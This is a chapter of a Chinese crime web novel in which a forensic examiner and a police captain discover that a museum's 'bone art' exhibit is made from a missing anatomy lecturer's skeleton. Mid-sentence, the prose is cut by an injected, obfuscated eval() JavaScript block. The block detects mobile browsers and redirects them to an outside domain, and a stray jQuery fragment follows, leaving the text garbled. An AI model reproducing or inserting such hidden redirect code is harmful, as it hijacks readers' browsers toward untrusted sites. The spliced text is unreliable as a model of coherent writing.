21. 标本师一
作品:《晦暗线》 海州市自然历史博物馆的中央空调发出轻微的嗡鸣,维持着恒温22度的环境。周末上午的游客不多,三三两两地散布在各个展厅。古生物馆内,一个戴眼镜的小男孩踮着脚,鼻子几乎贴在了新设立的‘骨骼艺术展’玻璃展柜上。
“妈妈,这个恐龙骨头好奇怪啊。”男孩的声音在空旷的展厅里显得格外清脆。
年轻母亲漫不经心地扫了一眼展柜里那具呈奔跑姿态的骨骼标本:“那是艺术家的创意,把动物骨骼重新组合...”
“可是,”男孩的食指在玻璃上留下一个小小的圆形雾气,“这里有血丝。”
母亲的笑容僵在脸上。她弯下腰,顺着儿子手指的方向看去——在骨骼股骨连接处的凹槽里,确实有一丝暗红色的残留物,像是没被完全清理干净的组织。
她的手开始发抖,迅速摸出手机拨打了110。
---
沈昭的解剖刀悬在半空,距离标本颈椎仅一厘米。她戴着双层乳胶手套的手稳如磐石,但眉头已经皱成了‘川’字。
“这不是医用解剖手法。”她的声音像是从冰窖里飘出来的,“关节分离处有明显的锯齿状切割痕,特别是耻骨联合部位。”
程野站在她身侧,保持着安全距离——自从上次在烂尾楼现场被沈昭训斥后,他学会了在法医工作时控制自己的活动范围。他的目光在骨骼标本和沈昭的侧脸之间来回移动。
“能确定死亡时间吗?”他问道,声音刻意放轻。博物馆临时设立的检验区内,他的声音几乎被空调系统的嗡鸣淹没。
沈昭没有立即回答。她拿起放大镜,仔细检查骨骼表面的细微纹路:“骨骼经过特殊处理,传统的时间推断方法不适用。”她突然停顿,将放大镜递给程野,“看这里,腰椎第四节的切割面。”
程野接过放大镜,弯腰观察。他的左肩在动作时微不可察地僵了一下——五年前那个雨夜留下的旧伤,每到阴雨天就会隐隐作痛。
“这是...”他的瞳孔骤然收缩,“锯齿状切割痕?”
“不是医用骨锯。”沈昭直起身,摘下一只手套,从工具箱里取出一个标尺,“医用骨锯的切口会更平整。这种波浪状的切割痕...”她将标尺放在切割面旁拍照,“是兽医常用的动物骨骼锯,锯齿更大,切割效率更高但更粗糙。”
程野的表情突然变得异常凝重。他下意识摸了摸左肩,那里有一道十厘米长的疤痕,是五年前追捕一个非法动物实验团伙时留下的。当时那个兽医用的就是...
“程队长?”沈昭的声音将他拉回现实,“我需要你联系博物馆,调取这个展览的所有信息。包括艺术家资料、运输记录、布展人员名单。”
程野点头,正要转身,突然僵在原地。他的目光死死盯住骨骼标本的右肩胛骨——那里有一个特殊的斜切面,角度精确得令人毛骨悚然。
“沈法医,”他的声音突然沙哑,“测量一下这个切割角度。”
沈昭敏锐地察觉到程野语气的变化,迅速拿起量角器:“34.5度,非常精确的斜切面。”
程野的左手无意识地抓紧了自己的右肩。34.5度——和他肩膀上的伤口角度完全一致。五年前那个雨夜,兽医手中的骨锯就是以这个角度砍进了他的肩膀。
“这不是巧合。”他低声说,更像是自言自语。
沈昭正要询问,检验室的门被推开,齐小菲风风火火地闯了进来,手里举着一个试管。
“沈主任!骨骼表面提取物检测结果出来了!”她的马尾辫因为急促的动作而左右摇晃,“不是EDTA,这次凶手用了甲醛与丙三醇的混合溶液,还添加了少量...”
“百里香酚。”沈昭突然接话,眼睛仍盯着骨骼标本,“为了掩盖甲醛的气味,同时增强防腐效果。”
齐小菲瞪大眼睛:“您怎么知道?”
沈昭没有回答,而是转向程野:“这种配方在二十年前的解剖学教学中常用,现在已经被更先进的防腐剂取代。“她的声音平静,但指尖微微颤抖,“能接触到这种配方的人...”
“要么是老一辈的医学教授,要么是专门研究过时技术的偏执狂。”程野完成了她的思路,同时掏出手机,“柯北到了吗?我需要他查点东西。”
“已经在监控室了。”齐小菲说,“他黑进了博物馆的安保系统,正在追踪布展期间的监控。”
沈昭重新戴上手套:“我要对骨骼进行全面检验,特别是关节连接处。小菲,准备X光机和三维扫描仪。”
“已经在隔壁房间布置好了。”齐小菲迅速回答,“我还联系了古生物系的教授,借用了他们的比较解剖学数据库。”
程野挑眉看向这个年轻的法医助理——齐小菲加入团队才三个月,但已经展现出惊人的行动力。他转向沈昭:“我去找柯北,有发现立刻联系。”
沈昭只是微微颔首,已经重新投入到骨骼检验中。她的镊子小心地夹起骨骼上的一丝纤维,放入证物袋。程野注意到她的动作比平时更加急促,虽然依旧精准,但缺少了那种行云流水般的从容。
他在门口停顿了一下:“沈法医,你洗手了吗?”
沈昭的手停在半空。按照规定,接触不同证物前应该更换手套并消毒。她的耳尖微微泛红:“谢谢提醒,程队长。”
程野点头离开,心里却升起一丝疑惑——沈昭从来不会忘记基本操作流程,今天她的状态明显不对。
---
监控室里,柯北的十指在键盘上飞舞,三个显示屏同时播放着不同角度的监控画面。他瘦削的背影蜷缩在转椅里,像一只蓄势待发的蜘蛛。
“程队,”他没回头就知道是谁进来了,“布展是在三天前的午夜进行的,监控显示只有两个人——一个穿博物馆制服的工作人员,和一个推着大型运输箱的高个子男性。”
程野凑近屏幕:“能看清脸吗?”
柯北摇头,同时调出另一个窗口:“但有趣的是...”他放大运输箱的一个角落,“看这个反光,像不像某种金属工具?”
程野眯起眼睛。在模糊的画面中,运输箱边缘确实有一道细长的金属反光,形状像是...
“骨锯。”他脱口而出。
柯北打了个响指:“Bingo!我已经比对了全市兽医器械销售记录,过去三个月内有27把同类骨锯售出。”他调出一份名单,“正在交叉比对购买者的其他信息。”
程野拍了拍他的肩膀:“干得好。再查查暗网上有没有相关交易,特别是关于‘标本艺术’的。”
柯北的眼镜反射着屏幕的蓝光:“已经在做了。事实上...”他的声音突然变得古怪,“二十分钟前,暗网一个叫‘标本师’的ID刚发布了一条招募信息。”
程野的肌肉瞬间绷紧:“什么内容?”
柯北将屏幕转向他:“‘寻找艺术合作伙伴,具备解剖学知识者优先。可提供全套工具和材料。’联系邮箱是加密的,我正在破解。”
程野盯着那行字,胃部一阵紧缩。这太明显了,简直像是一个陷阱。他拿出手机,正要通知沈昭,齐小菲突然冲进监控室。
“程队!沈主任有新发现!”她的声音因为奔跑而有些喘,“骨骼的牙科记录比对出结果了!”
---
解剖室里,沈昭站在X光片前,手中的激光笔指向一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645398|170966||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个细微的阴影。
“下颌骨第二磨牙有独特的填充物。”她的声音异常冷静,“根据牙科记录,死者是赵明远,男性,54岁,海州医学院前解剖学讲师,五年前...失踪。”
程野的目光从X光片移到沈昭的侧脸。她的表情平静得近乎冰冷,但太阳穴处一根微微凸起的血管暴露了她的真实状态。
“赵明远...”程野重复着这个名字,突然想起什么,“是不是当年那个——”
“没错。”沈昭打断他,激光笔的光点微微颤抖,“就是主持神经麻醉剂实验的赵教授。”
解剖室里一片死寂。程野的大脑飞速运转——五年前叫停的实验,失踪的教授,如今以骨骼标本的形式重现,还有那个神秘的‘标本师’ID...
“沈法医,”他谨慎地选择措辞,“赵教授和你的父亲...是同事对吗?”
沈昭的手突然握紧,激光笔在X光片上划出一道刺眼的红线。她的父亲沈明远,海州医学院法医学教授,十年前在一次实验室事故中去世——官方说法。
“是的。”她最终回答,声音轻得几乎听不见,“他们共同发表过几篇论文。”
程野没有追问。他转向骨骼标本,仔细观察那些精确到可怕的切割痕迹:“凶手在用这种方式传递信息。不仅是向我们,更是向...”他停顿了一下,“特定的人。”
沈昭突然摘下手套,动作近乎粗暴:“我需要重新检查所有关节切割面。小菲,准备电子显微镜。”
齐小菲点头去准备设备,程野却站在原地没动。他注意到沈昭摘下手套后,左手无名指上有一道细小的疤痕——那是十年前实验室事故留下的,和她父亲死在同一天。
“程队长。”沈昭背对着他说,“你能去查查赵教授失踪案的原始档案吗?特别是...”她的声音几不可闻,“最后见过他的人。”
程野点头,尽管知道她看不见:“我已经让局里调档案了。另外,”他犹豫了一下,“柯北在暗网上发现了一些东西,可能和案件有关。”
沈昭终于转过身:“什么?”
“‘标本师’的招募贴。”程野观察着她的反应,“发布时间是今天上午,就在我们发现骨骼后不久。”
沈昭的脸色瞬间变得惨白。她转身面对洗手池,打开水龙头,机械地搓洗已经干净的手。水流哗哗作响,掩盖了她呼吸的颤抖。
程野默默退出解剖室,给柯北发了条信息:「查沈明远教授十年前实验室事故的详细报告,加密通道。」
---
城南一间没有窗户的地下室里,一个身穿橡胶围裙的男人正在工作台前忙碌。台面上整齐排列着各种骨骼锯、镊子和注射器。墙角的大型玻璃容器里,某种透明液体浸泡着一个模糊的人形。
男人哼着歌,动作娴熟地用骨锯分离一块股骨。锯刃与骨骼摩擦发出令人牙酸的声音,但他似乎很享受这个过程。
“完美角度,34.5度。”他自言自语,将锯好的骨头放入旁边的溶液中,“程队长会喜欢的。”
工作台上的平板电脑亮着,显示着暗网论坛的页面。‘标本师’的ID下有一条新回复:「材料已准备好,期待合作。PS:沈法医能认出她父亲的切割风格吗?」
男人轻笑一声,拿起另一块骨头开始加工。墙上的时钟指向下午三点,阳光通过通风管的缝隙射入,恰好照在工作台中央的一张老照片上——照片里,年轻的沈明远和赵明远站在海州医学院的实验室里,举杯庆祝着什么。
“很快就能重聚了,老师们。”男人对着照片说,声音温柔得像在哄孩子睡觉,“标本馆需要更多...完美的展品。”